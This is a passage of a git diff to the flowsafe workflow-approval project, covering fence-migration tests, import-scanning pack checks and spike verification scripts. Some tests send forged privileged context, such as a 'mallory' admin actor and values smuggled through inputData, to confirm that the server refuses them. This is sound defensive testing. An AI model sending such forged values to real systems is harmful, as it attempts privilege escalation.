-        // would route it here.
-        if (statement.startsWith(`CREATE TABLE IF NOT EXISTS ${FENCE_TABLE}`)) {
-          fenceTable = true;
-        } else {
-          seeded = true;
-        }
+        seeded = true;
         return [];
       }
       if (statement.startsWith('INSERT OR IGNORE')) {
         mutations.push(statement);
-        if (statement.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`)) {
-          // INSERT OR IGNORE: an existing row wins, exactly as the protocol
-          // requires so a re-provision cannot reopen a closed fence.
-          fenceState ??= statement.match(/VALUES \('[^']+', '([^']+)'/)?.[1];
-          return [];
-        }
         const blocking = tables.filter(
           (row) =>
             row.name !== 'flowsafe_deployment' &&
@@ -166,6 +182,143 @@ async function rejectedError(action) {
 }
 
 describe('deployment identity provisioning CLI', () => {
+  it('migrates a legacy fence identically through runtime and CLI executors', async () => {
+    const runtimeSqlite = openSqlite();
+    const cliSqlite = openSqlite();
+    for (const sqlite of [runtimeSqlite, cliSqlite]) {
+      sqlite.exec(LEGACY_FENCE_DDL);
+      sqlite.exec(
+        `INSERT INTO ${FENCE_TABLE} VALUES ('deployment', 'proof-only', 'old-key', 'old-run', 17)`,
+      );
+    }
+    await new ExecutionFenceStore(sqliteUnitDatabase(runtimeSqlite)).seed(
+      'open',
+    );
+    await provisionDeploymentIdentity(OPTIONS, sqliteQuery(cliSqlite));
+    expect(fenceSnapshot(runtimeSqlite)).toEqual(fenceSnapshot(cliSqlite));
+    expect(cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get()).toEqual({
+      id: 'deployment',
+      state: 'proof-only',
+      proof_key: 'old-key',
+      proof_run_id: 'old-run',
+      updated_at: 17,
+      last_transition_request: null,
+      transition_revision: 0,
+      mutation_epoch: 0,
+      require_mutation_epoch: 0,
+      proof_table_prefix: null,
+      proof_workflow_id: null,
+      proof_start_token: null,
+    });
+  });
+
+  it('does not seed a new-format row from a stale legacy-empty observation', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec(LEGACY_FENCE_DDL);
+    const statements = [];
+    const query = sqliteQuery(sqlite, (sql) => {
+      statements.push(sql);
+      if (sql.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`)) {
+        sqlite.exec(`DROP TABLE ${FENCE_TABLE}`);
+        sqlite.exec(EXECUTION_FENCE_DDL);
+      }
+    });
+    await expect(
+      provisionDeploymentIdentity(OPTIONS, query),
+    ).rejects.toBeInstanceOf(DeploymentIdentityError);
+    expect(sqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).all()).toEqual([]);
+    expect(
+      statements.filter((sql) =>
+        sql.startsWith(`INSERT OR IGNORE INTO ${FENCE_TABLE}`),
+      ),
+    ).toHaveLength(1);
+  });
+
+  it('preserves active proof schema prefixes identically through runtime and CLI', async () => {
+    const proofColumns = [
+      'proof_table_prefix',
+      'proof_workflow_id',
+      'proof_start_token',
+    ];
+    for (const stage of [4, 5, 6]) {
+      const runtimeSqlite = openSqlite();
+      const cliSqlite = openSqlite();
+      for (const sqlite of [runtimeSqlite, cliSqlite]) {
+        const fence = new ExecutionFenceStore(sqliteUnitDatabase(sqlite), {
+          now: () => 17,
+        });
+        const admitted = await fence.transition({
+          expected: 'open',
+          next: 'proof-only',
+          proofKey: 'key',
+          expectedMutationEpoch: 0,
+          expectedRevision: 0,
+          advanceMutationEpoch: true,
+        });
+        await fence.recordProofRun('key', 'run', admitted);
+        for (const name of proofColumns.slice(stage - 4).reverse())
+          sqlite.exec(`ALTER TABLE ${FENCE_TABLE} DROP COLUMN ${name}`);
+      }
+      const before = cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get();
+      await seedDeploymentIdentity(
+        sqliteUnitDatabase(runtimeSqlite),
+        'acme',
+        'open',
+      );
+      const statements = [];
+      await provisionDeploymentIdentity(
+        OPTIONS,
+        sqliteQuery(cliSqlite, (sql) => statements.push(sql)),
+      );
+      expect(fenceSnapshot(cliSqlite)).toEqual(fenceSnapshot(runtimeSqlite));
+      expect(cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get()).toEqual({
+        ...before,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      });
+      expect(
+        statements.filter((sql) =>
+          sql.startsWith(`ALTER TABLE ${FENCE_TABLE}`),
+        ),
+      ).toHaveLength(7 - stage);
+      const after = statements.length;
+      await provisionDeploymentIdentity(
+        OPTIONS,
+        sqliteQuery(cliSqlite, (sql) => statements.push(sql)),
+      );
+      expect(
+        statements
+          .slice(after)
+          .filter((sql) => /^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)),
+      ).toEqual([]);
+    }
+  });
+
+  it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => {
+    for (const state of ['draining', 'proof-only']) {
+      const sqlite = openSqlite();
+      const fence = new ExecutionFenceStore(sqliteUnitDatabase(sqlite));
+      await fence.seed(state);
+      expect(await fence.read()).toEqual({
+        state,
+        mutationEpoch: 0,
+        requireMutationEpoch: false,
+        transitionRevision: 0,
+      });
+      const statements = [];
+      await expect(
+        provisionDeploymentIdentity(
+          { ...OPTIONS, initialFenceState: state },
+          async (sql) => {
+            statements.push(sql);
+            return [];
+          },
+        ),
+      ).rejects.toBeInstanceOf(DeploymentIdentityError);
+      expect(statements).toEqual([]);
+    }
+  });
   it('requires an explicit database, valid tag, fence state, and execution target', () => {
     expect(
       parseProvisioningArguments([
@@ -277,7 +430,7 @@ describe('deployment identity provisioning CLI', () => {
     // Sentinel DDL, ownership insert, then the fence: the fence DDL runs LAST
     // so it can never add a table to a database whose ownership is still being
     // decided.
-    expect(fake.mutations).toHaveLength(4);
+    expect(fake.mutations).toHaveLength(11);
     expect(fake.mutations[0]).toMatch(
       /^CREATE TABLE IF NOT EXISTS flowsafe_deployment/,
     );
@@ -290,6 +443,13 @@ describe('deployment identity provisioning CLI', () => {
     expect(fake.mutations[3]).toMatch(
       /^INSERT OR IGNORE INTO flowsafe_execution_fence/,
     );
+    expect(
+      fake.mutations
+        .slice(4)
+        .every((sql) =>
+          sql.startsWith(`ALTER TABLE ${FENCE_TABLE} ADD COLUMN`),
+        ),
+    ).toBe(true);
     expect(fake.fence()).toEqual({ table: true, state: 'open' });
   });
 
@@ -298,20 +458,13 @@ describe('deployment identity provisioning CLI', () => {
     await provisionDeploymentIdentity(OPTIONS, fake.query);
     const afterFirst = fake.mutations.length;
 
-    // A second pass short-circuits on ownership but still writes the fence, so
-    // a run that died between the ownership insert and the fence row heals.
+    // A current singleton is validated without a fence mutation.
     await provisionDeploymentIdentity(
       { ...OPTIONS, initialFenceState: 'migration-locked' },
       fake.query,
     );
 
-    expect(fake.mutations.slice(afterFirst)).toHaveLength(2);
-    expect(fake.mutations[afterFirst]).toMatch(
-      /^CREATE TABLE IF NOT EXISTS flowsafe_execution_fence/,
-    );
-    expect(fake.mutations[afterFirst + 1]).toMatch(
-      /^INSERT OR IGNORE INTO flowsafe_execution_fence/,
-    );
+    expect(fake.mutations.slice(afterFirst)).toEqual([]);
     // INSERT-if-absent: the existing row survives a re-provision that asked for
     // a different state.
     expect(fake.fence()).toEqual({ table: true, state: 'open' });
@@ -419,7 +572,7 @@ describe('deployment identity provisioning CLI', () => {
 
     await provisionDeploymentIdentity(OPTIONS, fake.query);
 
-    expect(fake.mutations).toHaveLength(3);
+    expect(fake.mutations).toHaveLength(10);
     expect(fake.mutations[0]).toMatch(
       /^INSERT OR IGNORE INTO flowsafe_deployment/,
     );
@@ -457,7 +610,7 @@ describe('deployment identity provisioning CLI', () => {
   ])('allows the exact D1-owned %s table', async (name) => {
     const fake = databaseQuery([{ name, sql: 'CREATE' }]);
     await provisionDeploymentIdentity(OPTIONS, fake.query);
-    expect(fake.mutations).toHaveLength(4);
+    expect(fake.mutations).toHaveLength(11);
   });
 
   it('allows a pre-existing execution fence table left by an interrupted pass', async () => {
diff --git a/packages/flowsafe/scripts/signals-client-pack-test.mjs b/packages/flowsafe/scripts/signals-client-pack-test.mjs
index ca0ebb57..157139d5 100644
--- a/packages/flowsafe/scripts/signals-client-pack-test.mjs
+++ b/packages/flowsafe/scripts/signals-client-pack-test.mjs
@@ -74,18 +74,46 @@ try {
   );
   run(join(root, 'node_modules/.bin/tsc'), ['-p', 'tsconfig.json'], consumer);
 
-  const client = readFileSync(
-    join(temporary, 'package', 'dist', 'signals', 'client.js'),
-    'utf8',
-  );
+  const packedSignalsFile = (fileName) =>
+    readFileSync(
+      join(temporary, 'package', 'dist', 'signals', fileName),
+      'utf8',
+    );
+  // Each pattern is one line form a module names another in: a `from` clause
+  // on an import or a re-export, a side-effect import, a dynamic import, a
+  // `require`, a module augmentation, a triple-slash reference. A form missing
+  // from this list is an edge the two checks below cannot see.
+  const edgePatterns = [
+    /\bfrom\s*['"][^'"]+['"]\s*;?\s*$/,
+    /^\s*import\s*['"][^'"]+['"]\s*;?\s*$/,
+    /\bimport\(\s*['"][^'"]+['"]\s*\)/,
+    /\brequire\(\s*['"][^'"]+['"]\s*\)/,
+    /^\s*declare\s+module\s+['"][^'"]+['"]/,
+    /^\s*\/\/\/\s*<reference\s+(?:path|types|lib)\s*=/,
+  ];
+  const namesAnotherModule = (source) =>
+    source
+      .split('\n')
+      .some((line) => edgePatterns.some((pattern) => pattern.test(line)));
+
+  const client = packedSignalsFile('client.js');
   if (
-    /^import\s/m.test(client) ||
+    namesAnotherModule(client) ||
     /node:|agent-runner|do-runner/.test(client)
   ) {
     throw new Error(
       'packed signals/client pulled a runtime or Node-only import',
     );
   }
+  // The declaration axis of the same entry. A browser consumer resolves this
+  // `.d.ts` and whatever it names, so a type reaching in from the runner or the
+  // host kit would hand that graph to a consumer who installed the browser
+  // entry alone.
+  if (namesAnotherModule(packedSignalsFile('client.d.ts'))) {
+    throw new Error(
+      'packed signals/client declaration named a module outside the browser entry',
+    );
+  }
   console.log('packed browser signals/client import passed');
 } finally {
   rmSync(temporary, { recursive: true, force: true });
diff --git a/packages/flowsafe/scripts/spike-verify-llm.mjs b/packages/flowsafe/scripts/spike-verify-llm.mjs
index cfd729c5..255a8394 100644
--- a/packages/flowsafe/scripts/spike-verify-llm.mjs
+++ b/packages/flowsafe/scripts/spike-verify-llm.mjs
@@ -11,7 +11,7 @@ import {
 import { parseLlmSpikeConfig } from './spike-llm-config.mjs';
 
 const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url)));
-const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler');
+const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler');
 const CONFIG = join(FLOWSAFE, 'spike/wrangler.jsonc');
 // Distinct from every other harness default (spike:verify 8799,
 // durability-benchmark 8801, conformance:verify 8821) so two can run at once.
diff --git a/packages/flowsafe/scripts/spike-verify.mjs b/packages/flowsafe/scripts/spike-verify.mjs
index 98ec4493..250fb7c3 100644
--- a/packages/flowsafe/scripts/spike-verify.mjs
+++ b/packages/flowsafe/scripts/spike-verify.mjs
@@ -44,7 +44,7 @@ import {
 } from '../../../scripts/workerd-server-lifecycle.mjs';
 
 const FLOWSAFE = dirname(dirname(fileURLToPath(import.meta.url)));
-const WRANGLER = join(FLOWSAFE, 'node_modules/.bin/wrangler');
+const WRANGLER = join(FLOWSAFE, '../../node_modules/.bin/wrangler');
 const CONFIG = join(FLOWSAFE, 'spike/wrangler.jsonc');
 const PORT = parsePort(
   process.env.SPIKE_VERIFY_PORT ?? 8799,
@@ -56,6 +56,14 @@ const RUN_BODY = {
   workflowId: 'demo-approval',
   inputData: { topic: 'launch' },
 };
+const APPLICATION_CONTEXT_KEY = 'spike.attribution';
+const APPLICATION_CONTEXT = {
+  [APPLICATION_CONTEXT_KEY]: 'accepted-application-value',
+};
+const INPUT_CONTEXT_SMUGGLE = {
+  [APPLICATION_CONTEXT_KEY]: 'input-top-level-value',
+  requestContext: { [APPLICATION_CONTEXT_KEY]: 'input-nested-value' },
+};
 // Track A: the agent tool-call gate suspends with the durable-agent approval
 // shape (R-003) rather than an explicit `connectors` array.
 const AGENT_RUN_BODY = {
@@ -378,12 +386,14 @@ async function startCountedWithKey(
   idempotencyKey,
   counterId,
   headers = AUTH.operator,
+  requestContext,
 ) {
   return http('POST', '/runs', {
     body: {
       workflowId: COUNTED_WORKFLOW_ID,
       inputData: { topic: 'launch', counterId },
       idempotencyKey,
+      requestContext,
     },
     headers,
   });
@@ -961,11 +971,45 @@ async function main() {
     },
   );
 
+  await step(
+    'RC0 run context: reserved body values fail before execution',
+    async () => {
+      for (const requestContext of [
+        { 'breakwater.actor': { id: 'mallory', role: 'admin' } },
+        { 'breakwater.unlistedCapability': true },
+        { 'flowsafe.runProvenance': { requestedBy: 'mallory' } },
+      ]) {
+        const rejected = await http('POST', '/runs', {
+          body: {
+            workflowId: COUNTED_WORKFLOW_ID,
+            inputData: { topic: 'launch', counterId: 'context-refusals' },
+            requestContext,
+          },
+          headers: AUTH.operator,
+        });
+        assert(
+          rejected.status === 400 &&
+            rejected.body?.reason === 'reserved-context-key',
+          'a reserved application context is refused with the typed 400 reason',
+          rejected,
+        );
+      }
+      assert(
+        (await executionCount('context-refusals')) === 0,
+        'reserved-body refusals never execute the counted workflow',
+      );
+    },
+  );
+
   const run = await step(
     'A1 start: run suspends at approval gate',
     async () => {
       const { status, body } = await http('POST', '/runs', {
-        body: RUN_BODY,
+        body: {
+          ...RUN_BODY,
+          inputData: { ...RUN_BODY.inputData, ...INPUT_CONTEXT_SMUGGLE },
+          requestContext: APPLICATION_CONTEXT,
+        },
         headers: AUTH.operator,
       });
       assert(status === 200, `POST /runs -> ${status}`, body);
@@ -1269,6 +1313,12 @@ async function main() {
         'resumed run published',
         body.resume?.summary?.result,
       );
+      assert(
+        body.resume?.summary?.result?.applicationValue ===
+          APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY],
+        'the connector reads the accepted application value after process restart',
+        body.resume?.summary?.result,
+      );
     });
   }
 
@@ -1282,6 +1332,40 @@ async function main() {
     assert(body.status === 'success', 'final run status', body.status);
     assert(body.result?.published === true, 'published', body.result);
     assert(body.result?.approvedBy === 'ray', 'approvedBy', body.result);
+    assert(
+      body.result?.applicationValue ===
+        APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY],
+      'the connector result persists the body context rather than inputData attribution',
+      body.result,
+    );
+  });
+
+  await step('RC1 inputData cannot create connector context', async () => {
+    const started = await http('POST', '/runs', {
+      body: {
+        ...RUN_BODY,
+        inputData: { ...RUN_BODY.inputData, ...INPUT_CONTEXT_SMUGGLE },
+      },
+      headers: AUTH.operator,
+    });
+    assert(
+      started.status === 200 && started.body.status === 'suspended',
+      'the input-only run suspends for approval',
+      started,
+    );
+    const decided = await http(
+      'POST',
+      `/api/approvals/${started.body.approval?.id}/decide`,
+      { headers: AUTH.reviewer, body: { decision: 'approve' } },
+    );
+    assert(
+      decided.status === 200 &&
+        decided.body.resume?.summary?.status === 'success' &&
+        decided.body.resume?.summary?.result?.published === true &&
+        decided.body.resume?.summary?.result?.applicationValue === undefined,
+      'the connector executes without application context from inputData',
+      decided,
+    );
   });
 
   await step('B forged-resume: no grant -> fails closed', async () => {
@@ -2132,6 +2216,31 @@ async function main() {
         'verified stored initialState reaches core workflow execution',
         body.leg,
       );
+      assert(
+        body.leg?.applicationValue ===
+          APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY],
+        'the scheduled leg reads the exact stored application value',
+        body.leg,
+      );
+      const api = await http('POST', '/runs', {
+        headers: AUTH.operator,
+        body: {
+          workflowId: 'sched-echo',
+          inputData: INPUT_CONTEXT_SMUGGLE,
+          requestContext: APPLICATION_CONTEXT,
+        },
+      });
+      assert(
+        api.status === 200 &&
+          api.body.status === 'success' &&
+          api.body.result?.applicationValue === body.leg.applicationValue &&
+          api.body.result?.reservedLeaked === false &&
+          api.body.result?.workflowScopePresent === true &&
+          api.body.result?.isolationScopePresent === false &&
+          api.body.result?.initialStatePresent === false,
+        'API and scheduled starts read the same application value with runtime scope intact',
+        api,
+      );
     },
   );
 
@@ -2686,7 +2795,12 @@ async function main() {
     'FI1 idempotent start: a retry after a workerd kill+restart returns the ' +
       'SAME run, and the paid first step ran exactly ONCE',
     async () => {
-      const first = await startCountedWithKey('spike-key-1', 'fi1');
+      const first = await startCountedWithKey(
+        'spike-key-1',
+        'fi1',
+        AUTH.operator,
+        APPLICATION_CONTEXT,
+      );
       assert(
         first.status === 200 && first.body.status === 'suspended',
         'the first keyed start must run normally',
@@ -2709,7 +2823,12 @@ async function main() {
         join(tmpDir, 'idempotent-restart.log'),
       );
 
-      const retry = await startCountedWithKey('spike-key-1', 'fi1');
+      const retry = await startCountedWithKey(
+        'spike-key-1',
+        'fi1',
+        AUTH.operator,
+        { [APPLICATION_CONTEXT_KEY]: 'divergent-retry-value' },
+      );
       assert(
         retry.status === 200 && retry.body.runId === first.body.runId,
         'the retry must replay the first run, not start a second',
@@ -2725,6 +2844,24 @@ async function main() {
         'a retry after process death must execute the first step no second time',
         { executions, first: first.body, retry: retry.body },
       );
+      const decided = await http(
+        'POST',
+        `/api/approvals/${first.body.approval?.id}/decide`,
+        { headers: AUTH.reviewer, body: { decision: 'approve' } },
+      );
+      assert(
+        decided.status === 200 &&
+          decided.body.resume?.summary?.status === 'success' &&
+          decided.body.resume?.summary?.result?.published === true &&
+          decided.body.resume?.summary?.result?.applicationValue ===
+            APPLICATION_CONTEXT[APPLICATION_CONTEXT_KEY],
+        'the keyed run connector retains the first context after a divergent retry',
+        decided,
+      );
+      assert(
+        (await executionCount('fi1')) === 1,
+        'resuming the replayed run leaves the first-step execution count unchanged',
+      );
       return { runId: first.body.runId, approvalId: first.body.approval?.id };
     },
   );
diff --git a/packages/flowsafe/spike/durability-benchmark.worker.ts b/packages/flowsafe/spike/durability-benchmark.worker.ts
index f14b1d08..719941d6 100644
--- a/packages/flowsafe/spike/durability-benchmark.worker.ts
+++ b/packages/flowsafe/spike/durability-benchmark.worker.ts
@@ -165,7 +165,11 @@ function defineFlowsafeWorkflow(env: Env): RunnerRuntime {
       runId: z.string(),
     }),
     outputSchema: z.object({ effectCount: z.number() }),
-    permissions: { sideEffect: 'write', requiresApproval: true },
+    permissions: {
+      sideEffect: 'write',
+      requiresApproval: true,
+      egressEnforcement: 'enforced',
+    },
     execute: async (input) => ({
       effectCount: (await recordEffect(env.DB, 'flowsafe', input.runId, input))
         .effectCount,
@@ -423,6 +427,7 @@ function flowsafeService(env: Env): ApprovalService {
     // This one DECIDES, and decide() commits before it resumes: same database,
     // same fence as the runs it moves.
     executionFence: executionFenceFor(env.DB as unknown as never),
+    workflowTablePrefix: '',
   });
 }
 
diff --git a/packages/flowsafe/spike/worker.ts b/packages/flowsafe/spike/worker.ts
index 5c66414e..308d790c 100644
--- a/packages/flowsafe/spike/worker.ts
+++ b/packages/flowsafe/spike/worker.ts
@@ -539,7 +539,7 @@ function createSpikeAgentModule(env: Env, audit: AuditLogger): AgentModule {
       ]);
       return { recorded: true };
     },
-    permissions: { sideEffect: 'write' },
+    permissions: { sideEffect: 'write', egressEnforcement: 'enforced' },
     policies: {
       writePermissions: { requireApproval: [SPIKE_WRITE_CONNECTOR_ID] },
       audit,
@@ -635,6 +635,7 @@ const SPIKE_ACTORS = new Map<string, ApprovalActor>([
 // workflow's first step writes a durable D1 row instead, so the spike can count
 // executions directly across a process death and across a concurrent burst.
 const COUNTED_WORKFLOW_ID = 'demo-idempotent';
+const APPLICATION_CONTEXT_KEY = 'spike.attribution';
 const EXECUTION_COUNT_TABLE = 'spike_execution_count';
 const EXECUTION_COUNT_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_COUNT_TABLE} (
     id TEXT PRIMARY KEY,
@@ -670,9 +671,15 @@ const WORKFLOWS: ReadonlyArray<WorkflowMeta> = [
       'demo-approval with a counting first step, so an idempotent start can be proved by EXECUTIONS rather than by run ids',
     sampleInput: { topic: 'launch', counterId: 'probe' },
   },
+  {
+    id: 'sched-echo',
+    title: 'Schedule context probe',
+    description: 'Reads application context from API and scheduled starts',
+    sampleInput: {},
+  },
 ];
 const scheduleTargetPolicy = createScheduleTargetPolicy({
-  workflows: [...WORKFLOWS, { id: 'sched-echo' }],
+  workflows: WORKFLOWS,
   agents: [SPIKE_AGENT_META],
 });
 
@@ -700,13 +707,29 @@ function defineWorkflows(env: Env): RunnerRuntime {
     // capabilities without any grant crossing a request body.
     requestContextForRun: approvalGrantProvider(approvals),
   });
-  const publisher = createConnector<{ topic: string }, { published: boolean }>({
+  const publisher = createConnector<
+    { topic: string },
+    { published: boolean; applicationValue?: string }
+  >({
     id: PUBLISH_CONNECTOR,
     description: 'Publishes the approved workerd probe',
     inputSchema: z.object({ topic: z.string() }),
-    outputSchema: z.object({ published: z.boolean() }),
-    permissions: { sideEffect: 'write', requiresApproval: true },
-    execute: async () => ({ published: true }),
+    outputSchema: z.object({
+      published: z.boolean(),
+      applicationValue: z.string().optional(),
+    }),
+    permissions: {
+      sideEffect: 'write',
+      requiresApproval: true,
+      egressEnforcement: 'enforced',
+    },
+    execute: async (_input, context) => ({
+      published: true,
+      applicationValue: z
+        .string()
+        .optional()
+        .parse(context.requestContext?.get(APPLICATION_CONTEXT_KEY)),
+    }),
   });
 
   const research = createStep({
@@ -768,6 +791,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
       topic: z.string(),
       published: z.boolean(),
       approvedBy: z.string().optional(),
+      applicationValue: z.string().optional(),
     }),
     execute: async ({ inputData, requestContext }) => {
       if (!inputData.approved) {
@@ -782,6 +806,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
         topic: inputData.topic,
         published: result.published,
         approvedBy: inputData.decidedBy,
+        applicationValue: result.applicationValue,
       };
     },
   });
@@ -793,6 +818,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
       topic: z.string(),
       published: z.boolean(),
       approvedBy: z.string().optional(),
+      applicationValue: z.string().optional(),
     }),
   })
     .then(research)
@@ -833,6 +859,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
       topic: z.string(),
       published: z.boolean(),
       approvedBy: z.string().optional(),
+      applicationValue: z.string().optional(),
     }),
   })
     .then(countedResearch)
@@ -927,6 +954,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
       isolationScopePresent: z.boolean(),
       customPresent: z.boolean(),
       initialStatePresent: z.boolean(),
+      applicationValue: z.string().optional(),
     }),
     execute: async ({ requestContext, state }) => {
       const grants = requestContext.get(BREAKWATER_CONNECTOR_GRANTS_KEY);
@@ -939,6 +967,10 @@ function defineWorkflows(env: Env): RunnerRuntime {
           requestContext.get('breakwater.isolationScope') !== undefined,
         customPresent: requestContext.get('sched.note') !== undefined,
         initialStatePresent: state.fromSchedule === true,
+        applicationValue: z
+          .string()
+          .optional()
+          .parse(requestContext.get(APPLICATION_CONTEXT_KEY)),
       };
     },
   });
@@ -952,6 +984,7 @@ function defineWorkflows(env: Env): RunnerRuntime {
       isolationScopePresent: z.boolean(),
       customPresent: z.boolean(),
       initialStatePresent: z.boolean(),
+      applicationValue: z.string().optional(),
     }),
   })
     .then(schedEcho)
@@ -1313,6 +1346,7 @@ export class DemoThread extends ThreadDurableObject<Env> {
           // COMMITS before it resumes, so it gates on the same store as the
           // thread runtime beside it.
           executionFence: executionFenceForEnv(env),
+          workflowTablePrefix: '',
           stream: (event) =>
             createHubTopology(
               this.env.HUB,
@@ -1351,11 +1385,16 @@ export class DemoThread extends ThreadDurableObject<Env> {
     _env: Env,
     threadId: string,
     initResult: InitResult,
+    deploymentTag?: string,
   ): Promise<void> {
     if (!this.#agentHost) {
       throw new Error('thread agent host is unavailable');
     }
-    await this.#agentHost.recoverOwnership(initResult.runtime, threadId);
+    await this.#agentHost.recoverOwnership({
+      threadId,
+      init: initResult,
+      deploymentTag,
+    });
   }
 
   #host(): ThreadAgentHost {
@@ -1839,6 +1878,7 @@ function actorContextForPrincipal(
         // reason: these contexts decide approvals, and decide() COMMITS before
         // it resumes. Same database, same store.
         executionFence: executionFenceForEnv(env),
+        workflowTablePrefix: '',
       }),
   });
 }
@@ -1933,6 +1973,7 @@ function buildApprovalService(
     // decision that committed against a locked deployment would be durable with
     // nothing behind it. Same database as the runs it gates.
     executionFence: executionFenceForEnv(env),
+    workflowTablePrefix: '',
   });
 }
 
@@ -2004,7 +2045,7 @@ async function handleBackgroundTaskProbe(
       description:
         'B-S3: a write connector must reject a smuggled _background arg',
       execute: async () => ({ ok: true }),
-      permissions: { sideEffect: 'write' },
+      permissions: { sideEffect: 'write', egressEnforcement: 'enforced' },
       policies: { audit },
     });
     let denied = false;
@@ -2418,6 +2459,7 @@ async function handleScheduleProbe(
                 },
               ],
               'sched.note': 'benign',
+              [APPLICATION_CONTEXT_KEY]: 'accepted-application-value',
             },
           },
           cron: '* * * * *',
@@ -3047,6 +3089,7 @@ const handler: ExportedHandler<Env> = {
       startIdempotency: {
         store: startIdempotencyForEnv(env),
         live: runTopology.startLiveness,
+        persistedStart: runTopology.persistedStart,
         executionFence: executionFenceForEnv(env),
       },
     })(routed);
diff --git a/packages/flowsafe/src/CLAUDE.md b/packages/flowsafe/src/CLAUDE.md
index 0d9c62f7..fcd763c9 100644
--- a/packages/flowsafe/src/CLAUDE.md
+++ b/packages/flowsafe/src/CLAUDE.md
@@ -1,10 +1,12 @@
 # flowsafe source navigation
 
 - `index.ts`: compatibility barrel for approval API, runner, artifacts, and audit export
+- `deployment-identity-protocol.ts`: deployment tag, identity header, and execution fence protocol shared with hosts
 - `approval-api/`: approval lifecycle and deployment store
 - `do-runner/`: runtime, Durable Objects, identities, storage, retention
 - `host-kit/`: authenticated host composition and topologies
 - `approval-ui/`: optional React dashboard
+- `agent-host/`: server-only guarded-agent catalog and Durable Object host
 - `agent-runner/`: runtime-driven durable agents
 - `signals/`, `goals/`, `schedules/`, `background-tasks/`, `signal-providers/`: opt-in long-running-agent surfaces
 - `artifacts/`, `audit-export/`: R2 and Queue integrations
diff --git a/packages/flowsafe/src/agent-host/router.test.ts b/packages/flowsafe/src/agent-host/router.test.ts
index 7288d8f8..29e4a7a1 100644
--- a/packages/flowsafe/src/agent-host/router.test.ts
+++ b/packages/flowsafe/src/agent-host/router.test.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
 
 import { describe, expect, it, vi } from 'vitest';
+import { TEST_DEPLOYMENT_IDENTITY_SECRET } from '../../test-support/deployment-identity.js';
 import type {
   ActorContext,
   ApprovalActor,
@@ -16,10 +17,20 @@ import {
   doErrorResponse,
   type ExecutionFenceDatabase,
   ExecutionFenceStore,
+  InvalidMutationEpochError,
+  MutationEpochMismatchError,
 } from '../do-runner/index.js';
-import { doSummary, RunRouteError } from '../host-kit/index.js';
+import {
+  doSummary,
+  RunRouteError,
+  type ThreadNamespaceLike,
+  type ThreadRequestInit,
+} from '../host-kit/index.js';
 import { createAgentRouter } from './router.js';
-import type { AgentThreadTopology } from './thread-topology.js';
+import {
+  type AgentThreadTopology,
+  createAgentThreadTopology,
+} from './thread-topology.js';
 import type { AgentRunEnvelope } from './types.js';
 
 const agents = [
@@ -107,6 +118,314 @@ async function payload(response: Response): Promise<Record<string, unknown>> {
   return (await response.json()) as Record<string, unknown>;
 }
 
+class CReceiverContext implements ActorContext {
+  #base = context();
+  actor = this.#base.actor;
+  principal = this.#base.principal;
+  resourceOwner = this.#base.resourceOwner;
+  mutationEpoch = 2;
+  service() {
+    return this.#base.service();
+  }
+  newRunId() {
+    return this.#base.newRunId();
+  }
+  newThreadId() {
+    return this.#base.newThreadId();
+  }
+  resourceIdFromKey(key: string) {
+    return this.#base.resourceIdFromKey(key);
+  }
+  claimResource(...args: Parameters<ActorContext['claimResource']>) {
+    return this.#base.claimResource(...args);
+  }
+  releaseResource(...args: Parameters<ActorContext['releaseResource']>) {
+    return this.#base.releaseResource(...args);
+  }
+  resourceOwnerFor(...args: Parameters<ActorContext['resourceOwnerFor']>) {
+    return this.#base.resourceOwnerFor(...args);
+  }
+  canAccessResource(...args: Parameters<ActorContext['canAccessResource']>) {
+    return this.#base.canAccessResource(...args);
+  }
+  canSelfDecide(role: ApprovalRole) {
+    return this.#base.canSelfDecide(role);
+  }
+}
+
+function cAgentTopology(response?: Response) {
+  const hits: Array<{ threadId: string; init: ThreadRequestInit | undefined }> =
+    [];
+  const namespace: ThreadNamespaceLike<string> = {
+    idFromName: (name) => name,
+    get: (threadId) => ({
+      fetch: (async (_request: Request | string, init?: ThreadRequestInit) => {
+        hits.push({ threadId, init });
+        return response ?? Response.json(envelope());
+      }) as ReturnType<ThreadNamespaceLike<string>['get']>['fetch'],
+    }),
+  };
+  return {
+    hits,
+    host: createAgentThreadTopology(
+      namespace,
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      { executionFence: 'none', startIdempotency: 'none' },
+    ),
+  };
+}
+
+describe('C public agent transport', () => {
+  it.each([
+    'class',
+    'non-enumerable',
+    'own',
+  ] as const)('C agent router retains original authority and method receivers through the real topology: %s', async (layout) => {
+    const source = new CReceiverContext();
+    const methods = [
+      'service',
+      'newRunId',
+      'newThreadId',
+      'resourceIdFromKey',
+      'claimResource',
+      'releaseResource',
+      'resourceOwnerFor',
+      'canAccessResource',
+      'canSelfDecide',
+    ] as const;
+    if (layout !== 'class') {
+      for (const name of methods)
+        Object.defineProperty(source, name, {
+          value: source[name],
+          configurable: true,
+          writable: true,
+          enumerable: layout === 'own',
+        });
+      if (layout === 'non-enumerable') {
+        for (const name of [
+          'actor',
+          'principal',
+          'resourceOwner',
+          'mutationEpoch',
+        ])
+          Object.defineProperty(source, name, { enumerable: false });
+      }
+    }
+    const originalPrincipal = source.principal;
+    const fixture = cAgentTopology();
+    const start = vi.spyOn(fixture.host, 'start');
+    const router = createAgentRouter({
+      agents,
